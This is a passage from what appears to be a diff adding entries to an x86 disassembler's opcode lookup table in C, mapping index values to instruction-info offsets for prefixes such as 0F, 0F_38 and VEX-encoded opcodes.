_DF_00 */ 0x2308, + /* 4e1 - _DF_01 */ 0x2309, + /* 4e2 - _DF_02 */ 0x230a, + /* 4e3 - _DF_03 */ 0x230b, + /* 4e4 - _DF_04 */ 0x230c, + /* 4e5 - _DF_05 */ 0x230d, + /* 4e6 - _DF_06 */ 0x230e, + /* 4e7 - _DF_07 */ 0x230f, + /* 4e8 - */ 0, + /* 4e9 - */ 0, + /* 4ea - */ 0, + /* 4eb - */ 0, + /* 4ec - */ 0, + /* 4ed - */ 0, + /* 4ee - */ 0, + /* 4ef - */ 0, + /* 4f0 - */ 0, + /* 4f1 - */ 0, + /* 4f2 - */ 0, + /* 4f3 - */ 0, + /* 4f4 - */ 0, + /* 4f5 - */ 0, + /* 4f6 - */ 0, + /* 4f7 - */ 0, + /* 4f8 - */ 0, + /* 4f9 - */ 0, + /* 4fa - */ 0, + /* 4fb - */ 0, + /* 4fc - */ 0, + /* 4fd - */ 0, + /* 4fe - */ 0, + /* 4ff - */ 0, + /* 500 - */ 0, + /* 501 - */ 0, + /* 502 - */ 0, + /* 503 - */ 0, + /* 504 - */ 0, + /* 505 - */ 0, + /* 506 - */ 0, + /* 507 - */ 0, + /* 508 - _DF_E0 */ 0xcf6c, + /* 509 - */ 0, + /* 50a - */ 0, + /* 50b - */ 0, + /* 50c - */ 0, + /* 50d - */ 0, + /* 50e - */ 0, + /* 50f - */ 0, + /* 510 - _DF_E8 */ 0x2310, + /* 511 - _DF_E8 */ 0x2311, + /* 512 - _DF_E8 */ 0x2312, + /* 513 - _DF_E8 */ 0x2313, + /* 514 - _DF_E8 */ 0x2314, + /* 515 - _DF_E8 */ 0x2315, + /* 516 - _DF_E8 */ 0x2316, + /* 517 - _DF_E8 */ 0x2317, + /* 518 - _DF_F0 */ 0x2318, + /* 519 - _DF_F0 */ 0x2319, + /* 51a - _DF_F0 */ 0x231a, + /* 51b - _DF_F0 */ 0x231b, + /* 51c - _DF_F0 */ 0x231c, + /* 51d - _DF_F0 */ 0x231d, + /* 51e - _DF_F0 */ 0x231e, + /* 51f - _DF_F0 */ 0x231f, + /* 520 - */ 0, + /* 521 - */ 0, + /* 522 - */ 0, + /* 523 - */ 0, + /* 524 - */ 0, + /* 525 - */ 0, + /* 526 - */ 0, + /* 527 - */ 0, + /* 528 - _F6_00 */ 0x2320, + /* 529 - */ 0, + /* 52a - _F6_02 */ 0x2321, + /* 52b - _F6_03 */ 0x2322, + /* 52c - _F6_04 */ 0x2323, + /* 52d - _F6_05 */ 0x2324, + /* 52e - _F6_06 */ 0x2325, + /* 52f - _F6_07 */ 0x2326, + /* 530 - _F7_00 */ 0x2327, + /* 531 - */ 0, + /* 532 - _F7_02 */ 0x2328, + /* 533 - _F7_03 */ 0x2329, + /* 534 - _F7_04 */ 0x232a, + /* 535 - _F7_05 */ 0x232b, + /* 536 - _F7_06 */ 0x232c, + /* 537 - _F7_07 */ 0x232d, + /* 538 - _FE_00 */ 0x232e, + /* 539 - _FE_01 */ 0x232f, + /* 53a - */ 0, + /* 53b - */ 0, + /* 53c - */ 0, + /* 53d - */ 0, + /* 53e - */ 0, + /* 53f - */ 0, + /* 540 - _FF_00 */ 0x2330, + /* 541 - _FF_01 */ 0x2331, + /* 542 - _FF_02 */ 0x2332, + /* 543 - _FF_03 */ 0x2333, + /* 544 - _FF_04 */ 0x2334, + /* 545 - _FF_05 */ 0x2335, + /* 546 - _FF_06 */ 0x2336, + /* 547 - */ 0, + /* 548 - _0F_00_00 */ 0x2337, + /* 549 - _0F_00_01 */ 0x2338, + /* 54a - _0F_00_02 */ 0x2339, + /* 54b - _0F_00_03 */ 0x233a, + /* 54c - _0F_00_04 */ 0x233b, + /* 54d - _0F_00_05 */ 0x233c, + /* 54e - */ 0, + /* 54f - */ 0, + /* 550 - _0F_01_00 */ 0x233d, + /* 551 - _0F_01_01 */ 0x233e, + /* 552 - _0F_01_02 */ 0x233f, + /* 553 - _0F_01_03 */ 0x2340, + /* 554 - _0F_01_04 */ 0x2341, + /* 555 - */ 0, + /* 556 - _0F_01_06 */ 0x2342, + /* 557 - _0F_01_07 */ 0x2343, + /* 558 - */ 0, + /* 559 - _0F_01_C1 */ 0x2344, + /* 55a - _0F_01_C2 */ 0x2345, + /* 55b - _0F_01_C3 */ 0x2346, + /* 55c - _0F_01_C4 */ 0x2347, + /* 55d - */ 0, + /* 55e - */ 0, + /* 55f - */ 0, + /* 560 - _0F_01_C8 */ 0x2348, + /* 561 - _0F_01_C9 */ 0x2349, + /* 562 - */ 0, + /* 563 - */ 0, + /* 564 - */ 0, + /* 565 - */ 0, + /* 566 - */ 0, + /* 567 - */ 0, + /* 568 - _0F_01_D0 */ 0x234a, + /* 569 - _0F_01_D1 */ 0x234b, + /* 56a - */ 0, + /* 56b - */ 0, + /* 56c - _0F_01_D4 */ 0x234c, + /* 56d - _0F_01_D5 */ 0x234d, + /* 56e - */ 0, + /* 56f - */ 0, + /* 570 - _0F_01_D8 */ 0x234e, + /* 571 - _0F_01_D9 */ 0x234f, + /* 572 - _0F_01_DA */ 0x2350, + /* 573 - _0F_01_DB */ 0x2351, + /* 574 - _0F_01_DC */ 0x2352, + /* 575 - _0F_01_DD */ 0x2353, + /* 576 - _0F_01_DE */ 0x2354, + /* 577 - _0F_01_DF */ 0x2355, + /* 578 - */ 0, + /* 579 - */ 0, + /* 57a - */ 0, + /* 57b - */ 0, + /* 57c - */ 0, + /* 57d - */ 0, + /* 57e - */ 0, + /* 57f - */ 0, + /* 580 - */ 0, + /* 581 - */ 0, + /* 582 - */ 0, + /* 583 - */ 0, + /* 584 - */ 0, + /* 585 - */ 0, + /* 586 - */ 0, + /* 587 - */ 0, + /* 588 - */ 0, + /* 589 - */ 0, + /* 58a - */ 0, + /* 58b - */ 0, + /* 58c - */ 0, + /* 58d - */ 0, + /* 58e - */ 0, + /* 58f - */ 0, + /* 590 - _0F_01_F8 */ 0x2356, + /* 591 - _0F_01_F9 */ 0x2357, + /* 592 - */ 0, + /* 593 - */ 0, + /* 594 - */ 0, + /* 595 - */ 0, + /* 596 - */ 0, + /* 597 - */ 0, + /* 598 - _0F_0D_00 */ 0x2358, + /* 599 - _0F_0D_01 */ 0x2359, + /* 59a - */ 0, + /* 59b - */ 0, + /* 59c - */ 0, + /* 59d - */ 0, + /* 59e - */ 0, + /* 59f - */ 0, + /* 5a0 - */ 0, + /* 5a1 - */ 0, + /* 5a2 - */ 0, + /* 5a3 - */ 0, + /* 5a4 - */ 0, + /* 5a5 - */ 0, + /* 5a6 - */ 0, + /* 5a7 - */ 0, + /* 5a8 - */ 0, + /* 5a9 - */ 0, + /* 5aa - */ 0, + /* 5ab - */ 0, + /* 5ac - _0F_0F_0C */ 0x235a, + /* 5ad - _0F_0F_0D */ 0x235b, + /* 5ae - */ 0, + /* 5af - */ 0, + /* 5b0 - */ 0, + /* 5b1 - */ 0, + /* 5b2 - */ 0, + /* 5b3 - */ 0, + /* 5b4 - */ 0, + /* 5b5 - */ 0, + /* 5b6 - */ 0, + /* 5b7 - */ 0, + /* 5b8 - */ 0, + /* 5b9 - */ 0, + /* 5ba - */ 0, + /* 5bb - */ 0, + /* 5bc - _0F_0F_1C */ 0x235c, + /* 5bd - _0F_0F_1D */ 0x235d, + /* 5be - */ 0, + /* 5bf - */ 0, + /* 5c0 - */ 0, + /* 5c1 - */ 0, + /* 5c2 - */ 0, + /* 5c3 - */ 0, + /* 5c4 - */ 0, + /* 5c5 - */ 0, + /* 5c6 - */ 0, + /* 5c7 - */ 0, + /* 5c8 - */ 0, + /* 5c9 - */ 0, + /* 5ca - */ 0, + /* 5cb - */ 0, + /* 5cc - */ 0, + /* 5cd - */ 0, + /* 5ce - */ 0, + /* 5cf - */ 0, + /* 5d0 - */ 0, + /* 5d1 - */ 0, + /* 5d2 - */ 0, + /* 5d3 - */ 0, + /* 5d4 - */ 0, + /* 5d5 - */ 0, + /* 5d6 - */ 0, + /* 5d7 - */ 0, + /* 5d8 - */ 0, + /* 5d9 - */ 0, + /* 5da - */ 0, + /* 5db - */ 0, + /* 5dc - */ 0, + /* 5dd - */ 0, + /* 5de - */ 0, + /* 5df - */ 0, + /* 5e0 - */ 0, + /* 5e1 - */ 0, + /* 5e2 - */ 0, + /* 5e3 - */ 0, + /* 5e4 - */ 0, + /* 5e5 - */ 0, + /* 5e6 - */ 0, + /* 5e7 - */ 0, + /* 5e8 - */ 0, + /* 5e9 - */ 0, + /* 5ea - */ 0, + /* 5eb - */ 0, + /* 5ec - */ 0, + /* 5ed - */ 0, + /* 5ee - */ 0, + /* 5ef - */ 0, + /* 5f0 - */ 0, + /* 5f1 - */ 0, + /* 5f2 - */ 0, + /* 5f3 - */ 0, + /* 5f4 - */ 0, + /* 5f5 - */ 0, + /* 5f6 - */ 0, + /* 5f7 - */ 0, + /* 5f8 - */ 0, + /* 5f9 - */ 0, + /* 5fa - */ 0, + /* 5fb - */ 0, + /* 5fc - */ 0, + /* 5fd - */ 0, + /* 5fe - */ 0, + /* 5ff - */ 0, + /* 600 - */ 0, + /* 601 - */ 0, + /* 602 - */ 0, + /* 603 - */ 0, + /* 604 - */ 0, + /* 605 - */ 0, + /* 606 - */ 0, + /* 607 - */ 0, + /* 608 - */ 0, + /* 609 - */ 0, + /* 60a - */ 0, + /* 60b - */ 0, + /* 60c - */ 0, + /* 60d - */ 0, + /* 60e - */ 0, + /* 60f - */ 0, + /* 610 - */ 0, + /* 611 - */ 0, + /* 612 - */ 0, + /* 613 - */ 0, + /* 614 - */ 0, + /* 615 - */ 0, + /* 616 - */ 0, + /* 617 - */ 0, + /* 618 - */ 0, + /* 619 - */ 0, + /* 61a - */ 0, + /* 61b - */ 0, + /* 61c - */ 0, + /* 61d - */ 0, + /* 61e - */ 0, + /* 61f - */ 0, + /* 620 - */ 0, + /* 621 - */ 0, + /* 622 - */ 0, + /* 623 - */ 0, + /* 624 - */ 0, + /* 625 - */ 0, + /* 626 - */ 0, + /* 627 - */ 0, + /* 628 - */ 0, + /* 629 - */ 0, + /* 62a - _0F_0F_8A */ 0x235e, + /* 62b - */ 0, + /* 62c - */ 0, + /* 62d - */ 0, + /* 62e - _0F_0F_8E */ 0x235f, + /* 62f - */ 0, + /* 630 - _0F_0F_90 */ 0x2360, + /* 631 - */ 0, + /* 632 - */ 0, + /* 633 - */ 0, + /* 634 - _0F_0F_94 */ 0x2361, + /* 635 - */ 0, + /* 636 - _0F_0F_96 */ 0x2362, + /* 637 - _0F_0F_97 */ 0x2363, + /* 638 - */ 0, + /* 639 - */ 0, + /* 63a - _0F_0F_9A */ 0x2364, + /* 63b - */ 0, + /* 63c - */ 0, + /* 63d - */ 0, + /* 63e - _0F_0F_9E */ 0x2365, + /* 63f - */ 0, + /* 640 - _0F_0F_A0 */ 0x2366, + /* 641 - */ 0, + /* 642 - */ 0, + /* 643 - */ 0, + /* 644 - _0F_0F_A4 */ 0x2367, + /* 645 - */ 0, + /* 646 - _0F_0F_A6 */ 0x2368, + /* 647 - _0F_0F_A7 */ 0x2369, + /* 648 - */ 0, + /* 649 - */ 0, + /* 64a - _0F_0F_AA */ 0x236a, + /* 64b - */ 0, + /* 64c - */ 0, + /* 64d - */ 0, + /* 64e - _0F_0F_AE */ 0x236b, + /* 64f - */ 0, + /* 650 - _0F_0F_B0 */ 0x236c, + /* 651 - */ 0, + /* 652 - */ 0, + /* 653 - */ 0, + /* 654 - _0F_0F_B4 */ 0x236d, + /* 655 - */ 0, + /* 656 - _0F_0F_B6 */ 0x236e, + /* 657 - _0F_0F_B7 */ 0x236f, + /* 658 - */ 0, + /* 659 - */ 0, + /* 65a - */ 0, + /* 65b - _0F_0F_BB */ 0x2370, + /* 65c - */ 0, + /* 65d - */ 0, + /* 65e - */ 0, + /* 65f - _0F_0F_BF */ 0x2371, + /* 660 - */ 0, + /* 661 - */ 0, + /* 662 - */ 0, + /* 663 - */ 0, + /* 664 - */ 0, + /* 665 - */ 0, + /* 666 - */ 0, + /* 667 - */ 0, + /* 668 - */ 0, + /* 669 - */ 0, + /* 66a - */ 0, + /* 66b - */ 0, + /* 66c - */ 0, + /* 66d - */ 0, + /* 66e - */ 0, + /* 66f - */ 0, + /* 670 - */ 0, + /* 671 - */ 0, + /* 672 - */ 0, + /* 673 - */ 0, + /* 674 - */ 0, + /* 675 - */ 0, + /* 676 - */ 0, + /* 677 - */ 0, + /* 678 - */ 0, + /* 679 - */ 0, + /* 67a - */ 0, + /* 67b - */ 0, + /* 67c - */ 0, + /* 67d - */ 0, + /* 67e - */ 0, + /* 67f - */ 0, + /* 680 - */ 0, + /* 681 - */ 0, + /* 682 - */ 0, + /* 683 - */ 0, + /* 684 - */ 0, + /* 685 - */ 0, + /* 686 - */ 0, + /* 687 - */ 0, + /* 688 - */ 0, + /* 689 - */ 0, + /* 68a - */ 0, + /* 68b - */ 0, + /* 68c - */ 0, + /* 68d - */ 0, + /* 68e - */ 0, + /* 68f - */ 0, + /* 690 - */ 0, + /* 691 - */ 0, + /* 692 - */ 0, + /* 693 - */ 0, + /* 694 - */ 0, + /* 695 - */ 0, + /* 696 - */ 0, + /* 697 - */ 0, + /* 698 - */ 0, + /* 699 - */ 0, + /* 69a - */ 0, + /* 69b - */ 0, + /* 69c - */ 0, + /* 69d - */ 0, + /* 69e - */ 0, + /* 69f - */ 0, + /* 6a0 - _0F_10 */ 0x2372, + /* 6a1 - _66_0F_10 */ 0x2373, + /* 6a2 - _F3_0F_10 */ 0x2374, + /* 6a3 - _F2_0F_10 */ 0x2375, + /* 6a4 - _V_0F_10 */ 0x4009, + /* 6a5 - _V_66_0F_10 */ 0x400a, + /* 6a6 - _V_F3_0F_10 */ 0x400b, + /* 6a7 - _V_F2_0F_10 */ 0x400c, + /* 6a8 - */ 0, + /* 6a9 - */ 0, + /* 6aa - _VRR_F3_0F_10 */ 0x400d, + /* 6ab - _VRR_F2_0F_10 */ 0x400e, + /* 6ac - _0F_11 */ 0x2376, + /* 6ad - _66_0F_11 */ 0x2377, + /* 6ae - _F3_0F_11 */ 0x2378, + /* 6af - _F2_0F_11 */ 0x2379, + /* 6b0 - _V_0F_11 */ 0x400f, + /* 6b1 - _V_66_0F_11 */ 0x4010, + /* 6b2 - _V_F3_0F_11 */ 0x4011, + /* 6b3 - _V_F2_0F_11 */ 0x4012, + /* 6b4 - */ 0, + /* 6b5 - */ 0, + /* 6b6 - _VRR_F3_0F_11 */ 0x4013, + /* 6b7 - _VRR_F2_0F_11 */ 0x4014, + /* 6b8 - _0F_12 */ 0x4015, + /* 6b9 - _66_0F_12 */ 0x237a, + /* 6ba - _F3_0F_12 */ 0x237b, + /* 6bb - _F2_0F_12 */ 0x237c, + /* 6bc - _V_0F_12 */ 0x4016, + /* 6bd - _V_66_0F_12 */ 0x4017, + /* 6be - _V_F3_0F_12 */ 0x4018, + /* 6bf - _V_F2_0F_12 */ 0x4019, + /* 6c0 - */ 0, + /* 6c1 - */ 0, + /* 6c2 - */ 0, + /* 6c3 - */ 0, + /* 6c4 - _0F_13 */ 0x237d, + /* 6c5 - _66_0F_13 */ 0x237e, + /* 6c6 - */ 0, + /* 6c7 - */ 0, + /* 6c8 - _V_0F_13 */ 0x401a, + /* 6c9 - _V_66_0F_13 */ 0x401b, + /* 6ca - */ 0, + /* 6cb - */ 0, + /* 6cc - */ 0, + /* 6cd - */ 0, + /* 6ce - */ 0, + /* 6cf - */ 0, + /* 6d0 - _0F_14 */ 0x237f, + /* 6d1 - _66_0F_14 */ 0x2380, + /* 6d2 - */ 0, + /* 6d3 - */ 0, + /* 6d4 - _V_0F_14 */ 0x401c, + /* 6d5 - _V_66_0F_14 */ 0x401d, + /* 6d6 - */ 0, + /* 6d7 - */ 0, + /* 6d8 - */ 0, + /* 6d9 - */ 0, + /* 6da - */ 0, + /* 6db - */ 0, + /* 6dc - _0F_15 */ 0x2381, + /* 6dd - _66_0F_15 */ 0x2382, + /* 6de - */ 0, + /* 6df - */ 0, + /* 6e0 - _V_0F_15 */ 0x401e, + /* 6e1 - _V_66_0F_15 */ 0x401f, + /* 6e2 - */ 0, + /* 6e3 - */ 0, + /* 6e4 - */ 0, + /* 6e5 - */ 0, + /* 6e6 - */ 0, + /* 6e7 - */ 0, + /* 6e8 - _0F_16 */ 0x4020, + /* 6e9 - _66_0F_16 */ 0x2383, + /* 6ea - _F3_0F_16 */ 0x2384, + /* 6eb - */ 0, + /* 6ec - _V_0F_16 */ 0x4021, + /* 6ed - _V_66_0F_16 */ 0x4022, + /* 6ee - _V_F3_0F_16 */ 0x4023, + /* 6ef - */ 0, + /* 6f0 - */ 0, + /* 6f1 - */ 0, + /* 6f2 - */ 0, + /* 6f3 - */ 0, + /* 6f4 - _0F_17 */ 0x2385, + /* 6f5 - _66_0F_17 */ 0x2386, + /* 6f6 - */ 0, + /* 6f7 - */ 0, + /* 6f8 - _V_0F_17 */ 0x4024, + /* 6f9 - _V_66_0F_17 */ 0x4025, + /* 6fa - */ 0, + /* 6fb - */ 0, + /* 6fc - */ 0, + /* 6fd - */ 0, + /* 6fe - */ 0, + /* 6ff - */ 0, + /* 700 - _0F_18_00 */ 0x2387, + /* 701 - _0F_18_01 */ 0x2388, + /* 702 - _0F_18_02 */ 0x2389, + /* 703 - _0F_18_03 */ 0x238a, + /* 704 - */ 0, + /* 705 - */ 0, + /* 706 - */ 0, + /* 707 - */ 0, + /* 708 - _0F_28 */ 0x238b, + /* 709 - _66_0F_28 */ 0x238c, + /* 70a - */ 0, + /* 70b - */ 0, + /* 70c - _V_0F_28 */ 0x4026, + /* 70d - _V_66_0F_28 */ 0x4027, + /* 70e - */ 0, + /* 70f - */ 0, + /* 710 - */ 0, + /* 711 - */ 0, + /* 712 - */ 0, + /* 713 - */ 0, + /* 714 - _0F_29 */ 0x238d, + /* 715 - _66_0F_29 */ 0x238e, + /* 716 - */ 0, + /* 717 - */ 0, + /* 718 - _V_0F_29 */ 0x4028, + /* 719 - _V_66_0F_29 */ 0x4029, + /* 71a - */ 0, + /* 71b - */ 0, + /* 71c - */ 0, + /* 71d - */ 0, + /* 71e - */ 0, + /* 71f - */ 0, + /* 720 - _0F_2A */ 0x238f, + /* 721 - _66_0F_2A */ 0x2390, + /* 722 - _F3_0F_2A */ 0x2391, + /* 723 - _F2_0F_2A */ 0x2392, + /* 724 - */ 0, + /* 725 - */ 0, + /* 726 - _V_F3_0F_2A */ 0x402a, + /* 727 - _V_F2_0F_2A */ 0x402b, + /* 728 - */ 0, + /* 729 - */ 0, + /* 72a - */ 0, + /* 72b - */ 0, + /* 72c - _0F_2B */ 0x2393, + /* 72d - _66_0F_2B */ 0x2394, + /* 72e - _F3_0F_2B */ 0x2395, + /* 72f - _F2_0F_2B */ 0x2396, + /* 730 - _V_0F_2B */ 0x402c, + /* 731 - _V_66_0F_2B */ 0x402d, + /* 732 - */ 0, + /* 733 - */ 0, + /* 734 - */ 0, + /* 735 - */ 0, + /* 736 - */ 0, + /* 737 - */ 0, + /* 738 - _0F_2C */ 0x2397, + /* 739 - _66_0F_2C */ 0x2398, + /* 73a - _F3_0F_2C */ 0x2399, + /* 73b - _F2_0F_2C */ 0x239a, + /* 73c - */ 0, + /* 73d - */ 0, + /* 73e - _V_F3_0F_2C */ 0x402e, + /* 73f - _V_F2_0F_2C */ 0x402f, + /* 740 - */ 0, + /* 741 - */ 0, + /* 742 - */ 0, + /* 743 - */ 0, + /* 744 - _0F_2D */ 0x239b, + /* 745 - _66_0F_2D */ 0x239c, + /* 746 - _F3_0F_2D */ 0x239d, + /* 747 - _F2_0F_2D */ 0x239e, + /* 748 - */ 0, + /* 749 - */ 0, + /* 74a - _V_F3_0F_2D */ 0x4030, + /* 74b - _V_F2_0F_2D */ 0x4031, + /* 74c - */ 0, + /* 74d - */ 0, + /* 74e - */ 0, + /* 74f - */ 0, + /* 750 - _0F_2E */ 0x239f, + /* 751 - _66_0F_2E */ 0x23a0, + /* 752 - */ 0, + /* 753 - */ 0, + /* 754 - _V_0F_2E */ 0x4032, + /* 755 - _V_66_0F_2E */ 0x4033, + /* 756 - */ 0, + /* 757 - */ 0, + /* 758 - */ 0, + /* 759 - */ 0, + /* 75a - */ 0, + /* 75b - */ 0, + /* 75c - _0F_2F */ 0x23a1, + /* 75d - _66_0F_2F */ 0x23a2, + /* 75e - */ 0, + /* 75f - */ 0, + /* 760 - _V_0F_2F */ 0x4034, + /* 761 - _V_66_0F_2F */ 0x4035, + /* 762 - */ 0, + /* 763 - */ 0, + /* 764 - */ 0, + /* 765 - */ 0, + /* 766 - */ 0, + /* 767 - */ 0, + /* 768 - _0F_38_00 */ 0xcf78, + /* 769 - _0F_38_01 */ 0xcf84, + /* 76a - _0F_38_02 */ 0xcf90, + /* 76b - _0F_38_03 */ 0xcf9c, + /* 76c - _0F_38_04 */ 0xcfa8, + /* 76d - _0F_38_05 */ 0xcfb4, + /* 76e - _0F_38_06 */ 0xcfc0, + /* 76f - _0F_38_07 */ 0xcfcc, + /* 770 - _0F_38_08 */ 0xcfd8, + /* 771 - _0F_38_09 */ 0xcfe4, + /* 772 - _0F_38_0A */ 0xcff0, + /* 773 - _0F_38_0B */ 0xcffc, + /* 774 - _0F_38_0C */ 0xd008, + /* 775 - _0F_38_0D */ 0xd014, + /* 776 - _0F_38_0E */ 0xd020, + /* 777 - _0F_38_0F */ 0xd02c, + /* 778 - _0F_38_10 */ 0xd038, + /* 779 - */ 0, + /* 77a - */ 0, + /* 77b - */ 0, + /* 77c - _0F_38_14 */ 0xd044, + /* 77d - _0F_38_15 */ 0xd050, + /* 77e - */ 0, + /* 77f - _0F_38_17 */ 0xd05c, + /* 780 - _0F_38_18 */ 0xd068, + /* 781 - _0F_38_19 */ 0xd074, + /* 782 - _0F_38_1A */ 0xd080, + /* 783 - */ 0, + /* 784 - _0F_38_1C */ 0xd08c, + /* 785 - _0F_38_1D */ 0xd098, + /* 786 - _0F_38_1E */ 0xd0a4, + /* 787 - */ 0, + /* 788 - _0F_38_20 */ 0xd0b0, + /* 789 - _0F_38_21 */ 0xd0bc, + /* 78a - _0F_38_22 */ 0xd0c8, + /* 78b - _0F_38_23 */ 0xd0d4, + /* 78c - _0F_38_24 */ 0xd0e0, + /* 78d - _0F_38_25 */ 0xd0ec, + /* 78e - */ 0, + /* 78f - */ 0, + /* 790 - _0F_38_28 */ 0xd0f8, + /* 791 - _0F_38_29 */ 0xd104, + /* 792 - _0F_38_2A */ 0xd110, + /* 793 - _0F_38_2B */ 0xd11c, + /* 794 - _0F_38_2C */ 0xd128, + /* 795 - _0F_38_2D */ 0xd134, + /* 796 - _0F_38_2E */ 0xd140, + /* 797 - _0F_38_2F */ 0xd14c, + /* 798 - _0F_38_30 */ 0xd158, + /* 799 - _0F_38_31 */ 0xd164, + /* 79a - _0F_38_32 */ 0xd170, + /* 79b - _0F_38_33 */ 0xd17c, + /* 79c - _0F_38_34 */ 0xd188, + /* 79d - _0F_38_35 */ 0xd194, + /* 79e - */ 0, + /* 79f - _0F_38_37 */ 0xd1a0, + /* 7a0 - _0F_38_38 */ 0xd1ac, + /* 7a1 - _0F_38_39 */ 0xd1b8, + /* 7a2 - _0F_38_3A */ 0xd1c4, + /* 7a3 - _0F_38_3B */ 0xd1d0, + /* 7a4 - _0F_38_3C */ 0xd1dc, + /* 7a5 - _0F_38_3D */ 0xd1e8, + /* 7a6 - _0F_38_3E */ 0xd1f4, + /* 7a7 - _0F_38_3F */ 0xd200, + /* 7a8 - _0F_38_40 */ 0xd20c, + /* 7a9 - _0F_38_41 */ 0xd218, + /* 7aa - */ 0, + /* 7ab - */ 0, + /* 7ac - */ 0, + /* 7ad - */ 0, + /* 7ae - */ 0, + /* 7af - */ 0, + /* 7b0 - */ 0, + /* 7b1 - */ 0, + /* 7b2 - */ 0, + /* 7b3 - */ 0, + /* 7b4 - */ 0, + /* 7b5 - */ 0, + /* 7b6 - */ 0, + /* 7b7 - */ 0, + /* 7b8 - */ 0, + /* 7b9 - */ 0, + /* 7ba - */ 0, + /* 7bb - */ 0, + /* 7bc - */ 0, + /* 7bd - */ 0, + /* 7be - */ 0, + /* 7bf - */ 0, + /* 7c0 - */ 0, + /* 7c1 - */ 0, + /* 7c2 - */ 0, + /* 7c3 - */ 0, + /* 7c4 - */ 0, + /* 7c5 - */ 0, + /* 7c6 - */ 0, + /* 7c7 - */ 0, + /* 7c8 - */ 0, + /* 7c9 - */ 0, + /* 7ca - */ 0, + /* 7cb - */ 0, + /* 7cc - */ 0, + /* 7cd - */ 0, + /* 7ce - */ 0, + /* 7cf - */ 0, + /* 7d0 - */ 0, + /* 7d1 - */ 0, + /* 7d2 - */ 0, + /* 7d3 - */ 0, + /* 7d4 - */ 0, + /* 7d5 - */ 0, + /* 7d6 - */ 0, + /* 7d7 - */ 0, + /* 7d8 - */ 0, + /* 7d9 - */ 0, + /* 7da - */ 0, + /* 7db - */ 0, + /* 7dc - */ 0, + /* 7dd - */ 0, + /* 7de - */ 0, + /* 7df - */ 0, + /* 7e0 - */ 0, + /* 7e1 - */ 0, + /* 7e2 - */ 0, + /* 7e3 - */ 0, + /* 7e4 - */ 0, + /* 7e5 - */ 0, + /* 7e6 - */ 0, + /* 7e7 - */ 0, + /* 7e8 - _0F_38_80 */ 0xd224, + /* 7e9 - _0F_38_81 */ 0xd230, + /* 7ea - _0F_38_82 */ 0xd23c, + /* 7eb - */ 0, + /* 7ec - */ 0, + /* 7ed - */ 0, + /* 7ee - */ 0, + /* 7ef - */ 0, + /* 7f0 - */ 0, + /* 7f1 - */ 0, + /* 7f2 - */ 0, + /* 7f3 - */ 0, + /* 7f4 - */ 0, + /* 7f5 - */ 0, + /* 7f6 - */ 0, + /* 7f7 - */ 0, + /* 7f8 - */ 0, + /* 7f9 - */ 0, + /* 7fa - */ 0, + /* 7fb - */ 0, + /* 7fc - */ 0, + /* 7fd - */ 0, + /* 7fe - _0F_38_96 */ 0xd248, + /* 7ff - _0F_38_97 */ 0xd254, + /* 800 - _0F_38_98 */ 0xd260, + /* 801 - _0F_38_99 */ 0xd26c, + /* 802 - _0F_38_9A */ 0xd278, + /* 803 - _0F_38_9B */ 0xd284, + /* 804 - _0F_38_9C */ 0xd290, + /* 805 - _0F_38_9D */ 0xd29c, + /* 806 - _0F_38_9E */ 0xd2a8, + /* 807 - _0F_38_9F */ 0xd2b4, + /* 808 - */ 0, + /* 809 - */ 0, + /* 80a - */ 0, + /* 80b - */ 0, + /* 80c - */ 0, + /* 80d - */ 0, + /* 80e - _0F_38_A6 */ 0xd2c0, + /* 80f - _0F_38_A7 */ 0xd2cc, + /* 810 - _0F_38_A8 */ 0xd2d8, + /* 811 - _0F_38_A9 */ 0xd2e4, + /* 812 - _0F_38_AA */ 0xd2f0, + /* 813 - _0F_38_AB */ 0xd2fc, + /* 814 - _0F_38_AC */ 0xd308, + /* 815 - _0F_38_AD */ 0xd314, + /* 816 - _0F_38_AE */ 0xd320, + /* 817 - _0F_38_AF */ 0xd32c, + /* 818 - */ 0, + /* 819 - */ 0, + /* 81a - */ 0, + /* 81b - */ 0, + /* 81c - */ 0, + /* 81d - */ 0, + /* 81e - _0F_38_B6 */ 0xd338, + /* 81f - _0F_38_B7 */ 0xd344, + /* 820 - _0F_38_B8 */ 0xd350, + /* 821 - _0F_38_B9 */ 0xd35c, + /* 822 - _0F_38_BA */ 0xd368, + /* 823 - _0F_38_BB */ 0xd374, + /* 824 - _0F_38_BC */ 0xd380, + /* 825 - _0F_38_BD */ 0xd38c, + /* 826 - _0F_38_BE */ 0xd398, + /* 827 - _0F_38_BF */ 0xd3a4, + /* 828 - */ 0, + /* 829 - */ 0, + /* 82a - */ 0, + /* 82b - */ 0, + /* 82c - */ 0, + /* 82d - */ 0, + /* 82e - */ 0, + /* 82f - */ 0, + /* 830 - */ 0, + /* 831 - */ 0, + /* 832 - */ 0, + /* 833 - */ 0, + /* 834 - */ 0, + /* 835 - */ 0, + /* 836 - */ 0, + /* 837 - */ 0, + /* 838 - */ 0, + /* 839 - */ 0, + /* 83a - */ 0, + /* 83b - */ 0, + /* 83c - */ 0, + /* 83d - */ 0, + /* 83e - */ 0, + /* 83f - */ 0, + /* 840 - */ 0, + /* 841 - */ 0, + /* 842 - */ 0, + /* 843 - _0F_38_DB */ 0xd3b0, + /* 844 - _0F_38_DC */ 0xd3bc, + /* 845 - _0F_38_DD */ 0xd3c8, + /* 846 - _0F_38_DE */ 0xd3d4, + /* 847 - _0F_38_DF */ 0xd3e0, + /* 848 - */ 0, + /* 849 - */ 0, + /* 84a - */ 0, + /* 84b - */ 0, + /* 84c - */ 0, + /* 84d - */ 0, + /* 84e - */ 0, + /* 84f - */ 0, + /* 850 - */ 0, + /* 851 - */ 0, + /* 852 - */ 0, + /* 853 - */ 0, + /* 854 - */ 0, + /* 855 - */ 0, + /* 856 - */ 0, + /* 857 - */ 0, + /* 858 - _0F_38_F0 */ 0xd3ec, + /* 859 - _0F_38_F1 */ 0xd3f8, + /* 85a - */ 0, + /* 85b - */ 0, + /* 85c - */ 0, + /* 85d - */ 0, + /* 85e - */ 0, + /* 85f - */ 0, + /* 860 - */ 0, + /* 861 - */ 0, + /* 862 - */ 0, + /* 863 - */ 0, + /* 864 - */ 0, + /* 865 - */ 0, + /* 866 - */ 0, + /* 867 - */ 0, + /* 868 - */ 0, + /* 869 - */ 0, + /* 86a - */ 0, + /* 86b - */ 0, + /* 86c - _0F_3A_04 */ 0xd404, + /* 86d - _0F_3A_05 */ 0xd410, + /* 86e - _0F_3A_06 */ 0xd41c, + /* 86f - */ 0, + /* 870 - _0F_3A_08 */ 0xd428, + /* 871 - _0F_3A_09 */ 0xd434, + /* 872 - _0F_3A_0A */ 0xd440, + /* 873 - _0F_3A_0B */ 0xd44c, + 